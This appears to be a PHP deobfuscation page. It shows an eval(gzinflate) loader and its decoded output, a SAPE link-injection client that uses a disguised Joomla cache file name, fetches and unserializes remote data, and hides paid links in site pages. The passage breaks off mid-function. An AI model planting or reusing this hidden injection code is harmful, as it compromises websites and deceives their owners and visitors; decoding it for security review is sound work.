Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\..
Decoded Output download
?><?php
define('_SAPE_USER', 'b730ac7b1cc1e2276e04d238ac1aaa37');
class SAPE_base {
var $_version = '1.1.11';
var $_verbose = false;
var $_charset = 'UTF-8';
var $_sape_charset = '';
var $_server_list = array('dispenser-01.sape.ru', 'dispenser-02.sape.ru');
var $_cache_lifetime = 3600;
var $_cache_reloadtime = 600;
var $_error = '';
var $_host = '';
var $_request_uri = '';
var $_multi_site = false;
var $_fetch_remote_type = '';
var $_socket_timeout = 6;
var $_force_show_code = false;
var $_is_our_bot = false;
var $_debug = false;
var $_ignore_case = false;
var $_db_file = '';
var $_use_server_array = false;
var $_force_update_db = false;
var $_is_block_css_showed = false;
var $_is_block_ins_beforeall_showed = false;
var $_user_agent = '';
function SAPE_base($options = null) {
$host = '';
if (is_array($options)) {
if (isset($options['host'])) {
$host = $options['host'];
}
} elseif (strlen($options)) {
$host = $options;
$options = array();
} else {
$options = array();
}
if (isset($options['use_server_array']) && $options['use_server_array'] == true) {
$this->_use_server_array = true;
}
if (strlen($host)) {
$this->_host = $host;
} else {
$this->_host = $_SERVER['HTTP_HOST'];
}
$this->_host = preg_replace('/^http:\/\//', '', $this->_host);
$this->_host = preg_replace('/^www\./', '', $this->_host);
if (isset($options['request_uri']) && strlen($options['request_uri'])) {
$this->_request_uri = $options['request_uri'];
} elseif ($this->_use_server_array === false) {
$this->_request_uri = getenv('REQUEST_URI');
}
if (strlen($this->_request_uri) == 0) {
$this->_request_uri = $_SERVER['REQUEST_URI'];
}
if (isset($options['multi_site']) && $options['multi_site'] == true) {
$this->_multi_site = true;
}
if (isset($options['debug']) && $options['debug'] == true) {
$this->_debug = true;
}
if (isset($_COOKIE['sape_cookie']) && ($_COOKIE['sape_cookie'] == _SAPE_USER)) {
$this->_is_our_bot = true;
if (isset($_COOKIE['sape_debug']) && ($_COOKIE['sape_debug'] == 1)) {
$this->_debug = true;
$this->_options = $options;
$this->_server_request_uri = $this->_request_uri = $_SERVER['REQUEST_URI'];
$this->_getenv_request_uri = getenv('REQUEST_URI');
$this->_SAPE_USER = _SAPE_USER;
}
if (isset($_COOKIE['sape_updatedb']) && ($_COOKIE['sape_updatedb'] == 1)) {
$this->_force_update_db = true;
}
} else {
$this->_is_our_bot = false;
}
if (isset($options['verbose']) && $options['verbose'] == true || $this->_debug) {
$this->_verbose = true;
}
if (isset($options['charset']) && strlen($options['charset'])) {
$this->_charset = $options['charset'];
} else {
$this->_charset = 'UTF-8';
}
if (isset($options['fetch_remote_type']) && strlen($options['fetch_remote_type'])) {
$this->_fetch_remote_type = $options['fetch_remote_type'];
}
if (isset($options['socket_timeout']) && is_numeric($options['socket_timeout']) && $options['socket_timeout'] > 0) {
$this->_socket_timeout = $options['socket_timeout'];
}
if (isset($options['force_show_code']) && $options['force_show_code'] == true) {
$this->_force_show_code = true;
}
if (!defined('_SAPE_USER')) {
return $this->raise_error('1_SAPE_USER');
}
if (isset($options['ignore_case']) && $options['ignore_case'] == true) {
$this->_ignore_case = true;
$this->_request_uri = strtolower($this->_request_uri);
}
}
function fetch_remote_file($host, $path, $specifyCharset = false) {
$user_agent = $this->_user_agent . ' ' . $this->_version;
@ini_set('allow_url_fopen', 1);
@ini_set('default_socket_timeout', $this->_socket_timeout);
@ini_set('user_agent', $user_agent);
if (
$this->_fetch_remote_type == 'file_get_contents'
||
(
$this->_fetch_remote_type == ''
&&
function_exists('file_get_contents')
&&
ini_get('allow_url_fopen') == 1
)
) {
$this->_fetch_remote_type = 'file_get_contents';
if($specifyCharset && function_exists('stream_context_create')) {
$opts = array(
'http' => array(
'method' => 'GET',
'header' => 'Accept-Charset: '. $this->_charset. "
"
)
);
$context = @stream_context_create($opts);
if ($data = @file_get_contents('http://' . $host . $path, null, $context)) {
return $data;
}
} else {
if ($data = @file_get_contents('http://' . $host . $path)) {
return $data;
}
}
} elseif (
$this->_fetch_remote_type == 'curl'
||
(
$this->_fetch_remote_type == ''
&&
function_exists('curl_init')
)
) {
$this->_fetch_remote_type = 'curl';
if ($ch = @curl_init()) {
@curl_setopt($ch, CURLOPT_URL, 'http://' . $host . $path);
@curl_setopt($ch, CURLOPT_HEADER, false);
@curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
@curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $this->_socket_timeout);
@curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
if($specifyCharset) {
@curl_setopt($ch, CURLOPT_HTTPHEADER, array('Accept-Charset: '. $this->_charset));
}
$data = @curl_exec($ch);
@curl_close($ch);
if ($data) {
return $data;
}
}
} else {
$this->_fetch_remote_type = 'socket';
$buff = '';
$fp = @fsockopen($host, 80, $errno, $errstr, $this->_socket_timeout);
if ($fp) {
@fputs($fp, "GET {$path} HTTP/1.0
Host: {$host}
");
if($specifyCharset) {
@fputs($fp, "Accept-Charset: {$this->_charset}
");
}
@fputs($fp, "User-Agent: {$user_agent}
");
while (!@feof($fp)) {
$buff .= @fgets($fp, 128);
}
@fclose($fp);
$page = explode("
", $buff);
unset($page[0]);
return implode("
", $page);
}
}
return $this->raise_error('2 ' . $host . $path . ', type: ' . $this->_fetch_remote_type);
}
function _read($filename) {
$fp = @fopen($filename, 'rb');
@flock($fp, LOCK_SH);
if ($fp) {
clearstatcache();
$length = @filesize($filename);
if (version_compare(PHP_VERSION, '5.3.0', '<')) {
$mqr = @get_magic_quotes_runtime();
@set_magic_quotes_runtime(0);
}
if ($length) {
$data = @fread($fp, $length);
} else {
$data = '';
}
if (version_compare(PHP_VERSION, '5.3.0', '<')) {
@set_magic_quotes_runtime($mqr);
}
@flock($fp, LOCK_UN);
@fclose($fp);
return $data;
}
return $this->raise_error('3: ' . $filename);
}
function _write($filename, $data) {
$fp = @fopen($filename, 'ab');
if ($fp) {
if (flock($fp, LOCK_EX | LOCK_NB)) {
ftruncate($fp, 0);
if (version_compare(PHP_VERSION, '5.3.0', '<')) {
$mqr = @get_magic_quotes_runtime();
@set_magic_quotes_runtime(0);
}
@fwrite($fp, $data);
if (version_compare(PHP_VERSION, '5.3.0', '<')) {
@set_magic_quotes_runtime($mqr);
}
@flock($fp, LOCK_UN);
@fclose($fp);
if (md5($this->_read($filename)) != md5($data)) {
@unlink($filename);
return $this->raise_error('4: ' . $filename);
}
} else {
return false;
}
return true;
}
return $this->raise_error('5: ' . $filename);
}
function raise_error($e) {
$this->_error = '<p style="color: red; font-weight: bold;">SAPE ERROR: ' . $e . '</p>';
if ($this->_verbose == true) {
print $this->_error;
}
return false;
}
function _get_db_file() {
return '';
}
function _get_dispenser_path() {
return '';
}
function set_data($data) {
}
function load_data() {
$this->_db_file = $this->_get_db_file();
if (!is_file($this->_db_file)) {
if (@touch($this->_db_file)) {
@chmod($this->_db_file, 0666);
} else {
return $this->raise_error(',o ' . $this->_db_file . '. 777.');
}
}
if (!is_writable($this->_db_file)) {
return $this->raise_error('5: ' . $this->_db_file . '! 77.');
}
@clearstatcache();
$data = $this->_read($this->_db_file);
if (
$this->_force_update_db
|| (
!$this->_is_our_bot
&&
(
filemtime($this->_db_file) < (time() - $this->_cache_lifetime)
||
filesize($this->_db_file) == 0
||
@unserialize($data) == false
)
)
) {
@touch($this->_db_file, (time() - $this->_cache_lifetime + $this->_cache_reloadtime));
$path = $this->_get_dispenser_path();
if (strlen($this->_charset)) {
$path .= '&charset=' . $this->_charset;
}
foreach ($this->_server_list as $server) {
if ($data = $this->fetch_remote_file($server, $path)) {
if (substr($data, 0, 12) == 'FATAL ERROR:') {
$this->raise_error($data);
} else {
$hash = @unserialize($data);
if ($hash != false) {
$hash['__sape_charset__'] = $this->_charset;
$hash['__last_update__'] = time();
$hash['__multi_site__'] = $this->_multi_site;
$hash['__fetch_remote_type__'] = $this->_fetch_remote_type;
$hash['__ignore_case__'] = $this->_ignore_case;
$hash['__php_version__'] = phpversion();
$hash['__server_software__'] = $_SERVER['SERVER_SOFTWARE'];
$data_new = @serialize($hash);
if ($data_new) {
$data = $data_new;
}
$this->_write($this->_db_file, $data);
break;
}
}
}
}
}
if (strlen(session_id())) {
$session = session_name() . '=' . session_id();
$this->_request_uri = str_replace(array('?' . $session, '&' . $session), '', $this->_request_uri);
}
$this->set_data(@unserialize($data));
return true;
}
}
class SAPE_client extends SAPE_base {
var $_links_delimiter = '';
var $_links = array();
var $_links_page = array();
var $_user_agent = 'SAPE_Client PHP';
var $_show_only_block = false;
var $_block_tpl = '';
var $_block_tpl_options = array();
var $_block_uri_idna = array();
function SAPE_client($options = null) {
parent::SAPE_base($options);
$this->load_data();
}
function _return_array_links_html($html, $options = null) {
if(empty($options)) {
$options = array();
}
if (
strlen($this->_charset) > 0
&&
strlen($this->_sape_charset) > 0
&&
$this->_sape_charset != $this->_charset
&&
function_exists('iconv')
) {
$new_html = @iconv($this->_sape_charset, $this->_charset, $html);
if ($new_html) {
$html = $new_html;
}
}
if ($this->_is_our_bot) {
$html = '<sape_noindex>' . $html . '</sape_noindex>';
if(isset($options['is_block_links']) && true == $options['is_block_links']) {
if(!isset($options['nof_links_requested'])) {
$options['nof_links_requested'] = 0;
}
if(!isset($options['nof_links_displayed'])) {
$options['nof_links_displayed'] = 0;
}
if(!isset($options['nof_obligatory'])) {
$options['nof_obligatory'] = 0;
}
if(!isset($options['nof_conditional'])) {
$options['nof_conditional'] = 0;
}
$html = '<sape_block nof_req="' . $options['nof_links_requested'] .
'" nof_displ="' . $options['nof_links_displayed'] .
'" nof_oblig="' . $options['nof_obligatory'] .
'" nof_cond="' . $options['nof_conditional'] .
'">' . $html .
'</sape_block>';
}
}
return $html;
}
function _return_html($html) {
if ($this->_debug) {
$html .= print_r($this, true);
}
return $html;
}
function return_block_links($n = null, $offset = 0, $options = null) {
if(empty($options)) {
$options = array();
}
$defaults = array();
$defaults['block_no_css'] = false;
$defaults['block_orientation'] = 1;
$defaults['block_width'] = '';
$ext_options = array();
if(isset($this->_block_tpl_options) && is_array($this->_block_tpl_options)) {
$ext_options = $this->_block_tpl_options;
}
$options = array_merge($defaults, $ext_options, $options);
if (!is_array($this->_links_page)) {
$html = $this->_return_array_links_html('', array('is_block_links' => true));
return $this->_return_html($this->_links_page . $html);
}
elseif(!isset($this->_block_tpl)) {
return $this->_return_html('');
}
$total_page_links = count($this->_links_page);
$need_show_obligatory_block = false;
$need_show_conditional_block = false;
$n_requested = 0;
if(isset($this->_block_ins_itemobligatory)) {
$need_show_obligatory_block = true;
}
if(is_numeric($n) && $n >= $total_page_links) {
$n_requested = $n;
if(isset($this->_block_ins_itemconditional)) {
$need_show_conditional_block = true;
}
}
if (!is_numeric($n) || $n > $total_page_links) {
$n = $total_page_links;
}
$links = array();
for ($i = 1; $i <= $n; $i++) {
if ($offset > 0 && $i <= $offset) {
array_shift($this->_links_page);
} else {
$links[] = array_shift($this->_links_page);
}
}
$html = '';
$nof_conditional = 0;
if(count($links) < $n_requested && true == $need_show_conditional_block) {
$nof_conditional = $n_requested - count($links);
}
if(empty($links) && $need_show_obligatory_block == false && $nof_conditional == 0) {
$return_links_options = array(
'is_block_links' => true,
'nof_links_requested' => $n_requested,
'nof_links_displayed' => 0,
'nof_obligatory' => 0,
'nof_conditional' => 0
);
$html = $this->_return_array_links_html($html, $return_links_options);
return $this->_return_html($html);
}
if (!$this->_is_block_css_showed && false == $options['block_no_css']) {
$html .= $this->_block_tpl['css'];
$this->_is_block_css_showed = true;
}
if (isset($this->_block_ins_beforeall) && !$this->_is_block_ins_beforeall_showed){
$html .= $this->_block_ins_beforeall;
$this->_is_block_ins_beforeall_showed = true;
}
if (isset($this->_block_ins_beforeblock)){
$html .= $this->_block_ins_beforeblock;
}
$block_tpl_parts = $this->_block_tpl[$options['block_orientation']];
$block_tpl = $block_tpl_parts['block'];
$item_tpl = $block_tpl_parts['item'];
$item_container_tpl = $block_tpl_parts['item_container'];
$item_tpl_full = str_replace('{item}', $item_tpl, $item_container_tpl);
$items = '';
$nof_items_total = count($links);
foreach ($links as $link){
preg_match('#<a href="(https?://([^"/]+)[^"]*)"[^>]*>[\s]*([^<]+)</a>#i', $link, $link_item);
if (function_exists('mb_strtoupper') && strlen($this->_sape_charset) > 0) {
$header_rest = mb_substr($link_item[3], 1, mb_strlen($link_item[3], $this->_sape_charset) - 1, $this->_sape_charset);
$header_first_letter = mb_strtoupper(mb_substr($link_item[3], 0, 1, $this->_sape_charset), $this->_sape_charset);
$link_item[3] = $header_first_letter . $header_rest;
} elseif(function_exists('ucfirst') && (strlen($this->_sape_charset) == 0 || strpos($this->_sape_charset, '1251') !== false) ) {
$link_item[3][0] = ucfirst($link_item[3][0]);
}
if(isset($this->_block_uri_idna) && isset($this->_block_uri_idna[$link_item[2]])) {
$link_item[2] = $this->_block_uri_idna[$link_item[2]];
}
$item = $item_tpl_full;
$item = str_replace('{header}', $link_item[3], $item);
$item = str_replace('{text}', trim($link), $item);
$item = str_replace('{url}', $link_item[2], $item);
$item = str_replace('{link}', $link_item[1], $item);
$items .= $item;
}
if(true == $need_show_obligatory_block) {
$items .= str_replace('{item}', $this->_block_ins_itemobligatory, $item_container_tpl);
$nof_items_total += 1;
}
if($need_show_conditional_block == true && $nof_conditional > 0) {
for($i = 0; $i < $nof_conditional; $i++) {
$items .= str_replace('{item}', $this->_block_ins_itemconditional, $item_container_tpl);
}
$nof_items_total += $nof_conditional;
}
if ($items != ''){
$html .= str_replace('{items}', $items, $block_tpl);
if ($nof_items_total > 0){
$html = str_replace('{td_width}', round(100/$nof_items_total), $html);
} else {
$html = str_replace('{td_width}', 0, $html);
}
if(isset($options['block_width']) && !empty($options['block_width'])) {
$html = str_replace('{block_style_custom}', 'style="width: ' . $options['block_width'] . '!important;"', $html);
}
}
unset($block_tpl_parts, $block_tpl, $items, $item, $item_tpl, $item_container_tpl);
if (isset($this->_block_ins_afterblock)){
$html .= $this->_block_ins_afterblock;
}
unset($options['block_no_css'], $options['block_orientation'], $options['block_width']);
$tpl_modifiers = array_keys($options);
foreach($tpl_modifiers as $k=>$m) {
$tpl_modifiers[$k] = '{' . $m . '}';
}
unset($m, $k);
$tpl_modifiers_values = array_values($options);
$html = str_replace($tpl_modifiers, $tpl_modifiers_values, $html);
unset($tpl_modifiers, $tpl_modifiers_values);
$clear_modifiers_regexp = '#\{[a-z\d_\-]+\}#';
$html = preg_replace($clear_modifiers_regexp, ' ', $html);
$return_links_options = array(
'is_block_links' => true,
'nof_links_requested' => $n_requested,
'nof_links_displayed' => $n,
'nof_obligatory' => ($need_show_obligatory_block == true ? 1 : 0),
'nof_conditional' => $nof_conditional
);
$html = $this->_return_array_links_html($html, $return_links_options);
return $this->_return_html($html);
}
function return_links($n = null, $offset = 0, $options = null) {
$as_block = $this->_show_only_block;
if(is_array($options) && isset($options['as_block']) && false == $as_block) {
$as_block = $options['as_block'];
}
if(true == $as_block && isset($this->_block_tpl)) {
return $this->return_block_links($n, $offset, $options);
}
if (is_array($this->_links_page)) {
$total_page_links = count($this->_links_page);
if (!is_numeric($n) || $n > $total_page_links) {
$n = $total_page_links;
}
$links = array();
for ($i = 1; $i <= $n; $i++) {
if ($offset > 0 && $i <= $offset) {
array_shift($this->_links_page);
} else {
$links[] = array_shift($this->_links_page);
}
}
$html = join($this->_links_delimiter, $links);
if (
strlen($this->_charset) > 0
&&
strlen($this->_sape_charset) > 0
&&
$this->_sape_charset != $this->_charset
&&
function_exists('iconv')
) {
$new_html = @iconv($this->_sape_charset, $this->_charset, $html);
if ($new_html) {
$html = $new_html;
}
}
if ($this->_is_our_bot) {
$html = '<sape_noindex>' . $html . '</sape_noindex>';
}
} else {
$html = $this->_links_page;
if ($this->_is_our_bot) {
$html .= '<sape_noindex></sape_noindex>';
}
}
if ($this->_debug) {
$html .= print_r($this, true);
}
return $html;
}
function _get_db_file() {
if ($this->_multi_site) {
return dirname(__FILE__) . '/' . $this->_host . '../cache/com_content_zGTYyrDYa.cache';
} else {
return dirname(__FILE__) . '/../cache/com_content_zGTYyrDYa.cache';
}
}
function _get_dispenser_path() {
return '/code.php?user=' . _SAPE_USER . '&host=' . $this->_host;
}
function set_data($data) {
if ($this->_ignore_case) {
$this->_links = array_change_key_case($data);
} else {
$this->_links = $data;
}
if (isset($this->_links['__sape_delimiter__'])) {
$this->_links_delimiter = $this->_links['__sape_delimiter__'];
}
if (isset($this->_links['__sape_charset__'])) {
$this->_sape_charset = $this->_links['__sape_charset__'];
} else {
$this->_sape_charset = '';
}
if (@array_key_exists($this->_request_uri, $this->_links) && is_array($this->_links[$this->_request_uri])) {
$this->_links_page = $this->_links[$this->_request_uri];
} else {
if (isset($this->_links['__sape_new_url__']) && strlen($this->_links['__sape_new_url__'])) {
if ($this->_is_our_bot || $this->_force_show_code) {
$this->_links_page = $this->_links['__sape_new_url__'];
}
}
}
if (isset($this->_links['__sape_show_only_block__'])) {
$this->_show_only_block = $this->_links['__sape_show_only_block__'];
}
else {
$this->_show_only_block = false;
}
if (isset($this->_links['__sape_block_tpl__']) && !empty($this->_links['__sape_block_tpl__'])
&& is_array($this->_links['__sape_block_tpl__'])){
$this->_block_tpl = $this->_links['__sape_block_tpl__'];
}
if (isset($this->_links['__sape_block_tpl_options__']) && !empty($this->_links['__sape_block_tpl_options__'])
&& is_array($this->_links['__sape_block_tpl_options__'])){
$this->_block_tpl_options = $this->_links['__sape_block_tpl_options__'];
}
if (isset($this->_links['__sape_block_uri_idna__']) && !empty($this->_links['__sape_block_uri_idna__'])
&& is_array($this->_links['__sape_block_uri_idna__'])){
$this->_block_uri_idna = $this->_links['__sape_block_uri_idna__'];
}
$check_blocks = array(
'beforeall',
'beforeblock',
'afterblock',
'itemobligatory',
'itemconditional',
'afterall'
);
foreach($check_blocks as $block_name) {
$var_name = '__sape_block_ins_' . $block_name . '__';
$prop_name = '_block_ins_' . $block_name;
if (isset($this->_links[$var_name]) && strlen($this->_links[$var_name]) > 0) {
$this->$prop_name = $this->_links[$var_name];
}
}
}
}
class SAPE_context extends SAPE_base {
var $_words = array();
var $_words_page = array();
var $_user_agent = 'SAPE_Context PHP';
var $_filter_tags = array('a', 'textarea', 'select', 'script', 'style', 'label', 'noscript', 'noindex', 'button');
function SAPE_context($options = null) {
parent::SAPE_base($options);
$this->load_data();
}
function replace_in_text_segment($text) {
$debug = '';
if ($this->_debug) {
$debug .= "<!-- argument for replace_in_text_segment:
" . base64_encode($text) . "
-->";
}
if (count($this->_words_page) > 0) {
$source_sentences = array();
if ($this->_debug) {
$debug .= '<!-- sentences for replace: ';
}
foreach ($this->_words_page as $n => $sentence) {
$special_chars = array(
'&' => '&',
'"' => '"',
''' => '\'',
'<' => '<',
'>' => '>'
);
$sentence = strip_tags($sentence);
$sentence = strip_tags($sentence);
$sentence = str_replace(array_keys($special_chars), array_values($special_chars), $sentence);
$htsc_charset = empty($this->_charset) ? 'UTF-8' : $this->_charset;
$quote_style = ENT_COMPAT;
if (version_compare(PHP_VERSION, '5.4.0') >= 0) {
$quote_style = ENT_COMPAT|ENT_HTML401;
}
$sentence = htmlspecialchars($sentence, $quote_style, $htsc_charset);
$sentence = preg_quote($sentence, '/');
$replace_array = array();
if (preg_match_all('/(&[#a-zA-Z0-9]{2,6};)/isU', $sentence, $out)) {
for ($i = 0; $i < count($out[1]); $i++) {
$unspec = $special_chars[$out[1][$i]];
$real = $out[1][$i];
$replace_array[$unspec] = $real;
}
}
foreach ($replace_array as $unspec => $real) {
$sentence = str_replace($real, '((' . $real . ')|(' . $unspec . '))', $sentence);
}
$source_sentences[$n] = str_replace(' ', '((\s)|( ))+', $sentence);
if ($this->_debug) {
$debug .= $source_sentences[$n] . "
";
}
}
if ($this->_debug) {
$debug .= '-->';
}
$first_part = true;
if (count($source_sentences) > 0) {
$content = '';
$open_tags = array();
$close_tag = '';
$part = strtok(' ' . $text, '<');
while ($part !== false) {
if (preg_match('/(?si)^(\/?[a-z0-9]+)/', $part, $matches)) {
if (substr($tag_name, 0, 1) == '/') {
$close_tag = substr($tag_name, 1);
if ($this->_debug) {
$debug .= '<!-- close_tag: ' . $close_tag . ' -->';
}
} else {
$close_tag = '';
if ($this->_debug) {
$debug .= '<!-- open_tag: ' . $tag_name . ' -->';
}
}
$cnt_tags = count($open_tags);
if (($cnt_tags > 0) && ($open_tags[$cnt_tags - 1] == $close_tag)) {
array_pop($open_tags);
if ($this->_debug) {
$debug .= '<!-- ' . $tag_name . ' - deleted from open_tags -->';
}
if ($cnt_tags - 1 == 0) {
if ($this->_debug) {
$debug .= '<!-- start replacement -->';
}
}
}
if (count($open_tags) == 0) {
if (!in_array($tag_name, $this->_filter_tags)) {
$split_parts = explode('>', $part, 2);
if (count($split_parts) == 2) {
foreach ($source_sentences as $n => $sentence) {
if (preg_match('/' . $sentence . '/', $split_parts[1]) == 1) {
$split_parts[1] = preg_replace('/' . $sentence . '/', str_replace('$', '\$', $this->_words_page[$n]), $split_parts[1], 1);
if ($this->_debug) {
$debug .= '<!-- ' . $sentence . ' --- ' . $this->_words_page[$n] . ' replaced -->';
}
unset($source_sentences[$n]);
unset($this->_words_page[$n]);
}
}
$part = $split_parts[0] . '>' . $split_parts[1];
unset($split_parts);
}
} else {
$open_tags[] = $tag_name;
if ($this->_debug) {
$debug .= '<!-- ' . $tag_name . ' - added to open_tags, stop replacement -->';
}
}
}
} else {
foreach ($source_sentences as $n => $sentence) {
if (preg_match('/' . $sentence . '/', $part) == 1) {
$part = preg_replace('/' . $sentence . '/', str_replace('$', '\$', $this->_words_page[$n]), $part, 1);
if ($this->_debug) {
$debug .= '<!-- ' . $sentence . ' --- ' . $this->_words_page[$n] . ' replaced -->';
}
unset($source_sentences[$n]);
unset($this->_words_page[$n]);
}
}
}
if ($this->_debug) {
$content .= $debug;
$debug = '';
}
if ($first_part) {
$content .= $part;
$first_part = false;
} else {
$content .= $debug . '<' . $part;
}
unset($part);
$part = strtok('<');
}
$text = ltrim($content);
unset($content);
}
} else {
if ($this->_debug) {
$debug .= '<!-- No word`s for page -->';
}
}
if ($this->_debug) {
$debug .= '<!-- END: work of replace_in_text_segment() -->';
}
if ($this->_is_our_bot || $this->_force_show_code || $this->_debug) {
$text = '<sape_index>' . $text . '</sape_index>';
if (isset($this->_words['__sape_new_url__']) && strlen($this->_words['__sape_new_url__'])) {
$text .= $this->_words['__sape_new_url__'];
}
}
if ($this->_debug) {
if (count($this->_words_page) > 0) {
$text .= '<!-- Not replaced: ' . "
";
foreach ($this->_words_page as $value) {
$text .= $value . "
";
}
$text .= '-->';
}
$text .= $debug;
}
return $text;
}
function replace_in_page(&$buffer) {
if (count($this->_words_page) > 0) {
$split_content = preg_split('/(?smi)(<\/?sape_index>)/', $buffer, -1);
$cnt_parts = count($split_content);
if ($cnt_parts > 1) {
if ($cnt_parts >= 3) {
for ($i = 1; $i < $cnt_parts; $i = $i + 2) {
$split_content[$i] = $this->replace_in_text_segment($split_content[$i]);
}
}
$buffer = implode('', $split_content);
if ($this->_debug) {
$buffer .= '<!-- Split by Sape_index cnt_parts=' . $cnt_parts . '-->';
}
} else {
$split_content = preg_split('/(?smi)(<\/?body[^>]*>)/', $buffer, -1, PREG_SPLIT_DELIM_CAPTURE);
if (count($split_content) == 5) {
$split_content[0] = $split_content[0] . $split_content[1];
$split_content[1] = $this->replace_in_text_segment($split_content[2]);
$split_content[2] = $split_content[3] . $split_content[4];
unset($split_content[3]);
unset($split_content[4]);
$buffer = $split_content[0] . $split_content[1] . $split_content[2];
if ($this->_debug) {
$buffer .= '<!-- Split by BODY -->';
}
} else {
if ($this->_debug) {
$buffer .= '<!-- Can`t split by BODY -->';
}
}
}
} else {
if (!$this->_is_our_bot && !$this->_force_show_code && !$this->_debug) {
$buffer = preg_replace('/(?smi)(<\/?sape_index>)/', '', $buffer);
} else {
if (isset($this->_words['__sape_new_url__']) && strlen($this->_words['__sape_new_url__'])) {
$buffer .= $this->_words['__sape_new_url__'];
}
}
if ($this->_debug) {
$buffer .= '<!-- No word`s for page -->';
}
}
return $buffer;
}
function _get_db_file() {
if ($this->_multi_site) {
return dirname(__FILE__) . '/' . $this->_host . '.words.db';
} else {
return dirname(__FILE__) . '/words.db';
}
}
function _get_dispenser_path() {
return '/code_context.php?user=' . _SAPE_USER . '&host=' . $this->_host;
}
function set_data($data) {
$this->_words = $data;
if (@array_key_exists($this->_request_uri, $this->_words) && is_array($this->_words[$this->_request_uri])) {
$this->_words_page = $this->_words[$this->_request_uri];
}
}
}
class SAPE_articles extends SAPE_base {
var $_request_mode;
var $_server_list = array('dispenser.articles.sape.ru');
var $_data = array();
var $_article_id;
var $_save_file_name;
var $_announcements_delimiter = '';
var $_images_path;
var $_template_error = false;
var $_noindex_code = '<!--sape_noindex-->';
var $_headers_enabled = false;
var $_mask_code;
var $_real_host;
var $_user_agent = 'SAPE_Articles_Client PHP';
function SAPE_articles($options = null){
parent::SAPE_base($options);
if (is_array($options) && isset($options['headers_enabled'])) {
$this->_headers_enabled = $options['headers_enabled'];
}
if (isset($options['charset']) && strlen($options['charset'])) {
$this->_charset = $options['charset'];
} else {
$this->_charset = '';
}
$this->_get_index();
if (!empty($this->_data['index']['announcements_delimiter'])) {
$this->_announcements_delimiter = $this->_data['index']['announcements_delimiter'];
}
if (!empty($this->_data['index']['charset'])
and !(isset($options['charset']) && strlen($options['charset']))) {
$this->_charset = $this->_data['index']['charset'];
}
if (is_array($options)) {
if (isset($options['host'])) {
$host = $options['host'];
}
} elseif (strlen($options)) {
$host = $options;
$options = array();
}
if (isset($host) && strlen($host)) {
$this->_real_host = $host;
} else {
$this->_real_host = $_SERVER['HTTP_HOST'];
}
if (!isset($this->_data['index']['announcements'][$this->_request_uri])) {
$this->_correct_uri();
}
}
function _correct_uri() {
if(substr($this->_request_uri, -1) == '/') {
$new_uri = substr($this->_request_uri, 0, -1);
} else {
$new_uri = $this->_request_uri . '/';
}
if (isset($this->_data['index']['announcements'][$new_uri])) {
$this->_request_uri = $new_uri;
}
}
function return_announcements($n = null, $offset = 0){
$output = '';
if ($this->_force_show_code || $this->_is_our_bot) {
if (isset($this->_data['index']['checkCode'])) {
$output .= $this->_data['index']['checkCode'];
}
}
if (isset($this->_data['index']['announcements'][$this->_request_uri])) {
$total_page_links = count($this->_data['index']['announcements'][$this->_request_uri]);
if (!is_numeric($n) || $n > $total_page_links) {
$n = $total_page_links;
}
$links = array();
for ($i = 1; $i <= $n; $i++) {
if ($offset > 0 && $i <= $offset) {
array_shift($this->_data['index']['announcements'][$this->_request_uri]);
} else {
$links[] = array_shift($this->_data['index']['announcements'][$this->_request_uri]);
}
}
$html = join($this->_announcements_delimiter, $links);
if ($this->_is_our_bot) {
$html = '<sape_noindex>' . $html . '</sape_noindex>';
}
$output .= $html;
}
return $output;
}
function _get_index(){
$this->_set_request_mode('index');
$this->_save_file_name = 'articles.db';
$this->load_data();
}
function process_request(){
if (!empty($this->_data['index']) and isset($this->_data['index']['articles'][$this->_request_uri])) {
return $this->_return_article();
} elseif (!empty($this->_data['index']) and isset($this->_data['index']['images'][$this->_request_uri])) {
return $this->_return_image();
} else {
if ($this->_is_our_bot) {
return $this->_return_html($this->_data['index']['checkCode'] . $this->_noindex_code);
} else {
return $this->_return_not_found();
}
}
}
function _return_article(){
$this->_set_request_mode('article');
$article_meta = $this->_data['index']['articles'][$this->_request_uri];
$this->_save_file_name = $article_meta['id'] . '.article.db';
$this->_article_id = $article_meta['id'];
$this->load_data();
if (!isset($this->_data['article']['date_updated']) OR $this->_data['article']['date_updated'] < $article_meta['date_updated']) {
unlink($this->_get_db_file());
$this->load_data();
}
$template = $this->_get_template($this->_data['index']['templates'][$article_meta['template_id']]['url'], $article_meta['template_id']);
$article_html = $this->_fetch_article($template);
if ($this->_is_our_bot) {
$article_html .= $this->_noindex_code;
}
return $this->_return_html($article_html);
}
function _prepare_path_to_images(){
$this->_images_path = dirname(__FILE__) . '/images/';
if (!is_dir($this->_images_path)) {
if (@mkdir($this->_images_path)) {
@chmod($this->_images_path, 0777);
} else {
return $this->raise_error('344 ' . $this->_images_path . '. 48.');
}
}
if ($this->_multi_site) {
$this->_images_path .= $this->_host. '.';
}
return true;
}
function _return_image(){
$this->_set_request_mode('image');
$this->_prepare_path_to_images();
$image_meta = $this->_data['index']['images'][$this->_request_uri];
$image_path = $this->_images_path . $image_meta['id']. '.' . $image_meta['ext'];
if (!is_file($image_path) or filemtime($image_path) > $image_meta['date_updated']) {
@touch($image_path, $image_meta['date_updated']);
$path = $image_meta['dispenser_path'];
foreach ($this->_server_list as $server){
if ($data = $this->fetch_remote_file($server, $path)) {
if (substr($data, 0, 12) == 'FATAL ERROR:') {
$this->raise_error($data);
} else {
if (strlen($data) > 0) {
$this->_write($image_path, $data);
break;
}
}
}
}
}
unset($data);
if (!is_file($image_path)) {
return $this->_return_not_found();
}
$image_file_meta = @getimagesize($image_path);
$content_type = isset($image_file_meta['mime'])?$image_file_meta['mime']:'image';
if ($this->_headers_enabled) {
header('Content-Type: ' . $content_type);
}
return $this->_read($image_path);
}
function _fetch_article($template){
if (strlen($this->_charset)) {
$template = str_replace('{meta_charset}', $this->_charset, $template);
}
foreach ($this->_data['index']['template_fields'] as $field){
if (isset($this->_data['article'][$field])) {
$template = str_replace('{' . $field . '}', $this->_data['article'][$field], $template);
} else {
$template = str_replace('{' . $field . '}', '', $template);
}
}
return ($template);
}
function _get_template($template_url, $templateId){
$this->_save_file_name = 'tpl.articles.db';
$index_file = $this->_get_db_file();
if (file_exists($index_file)) {
$this->_data['templates'] = unserialize($this->_read($index_file));
}
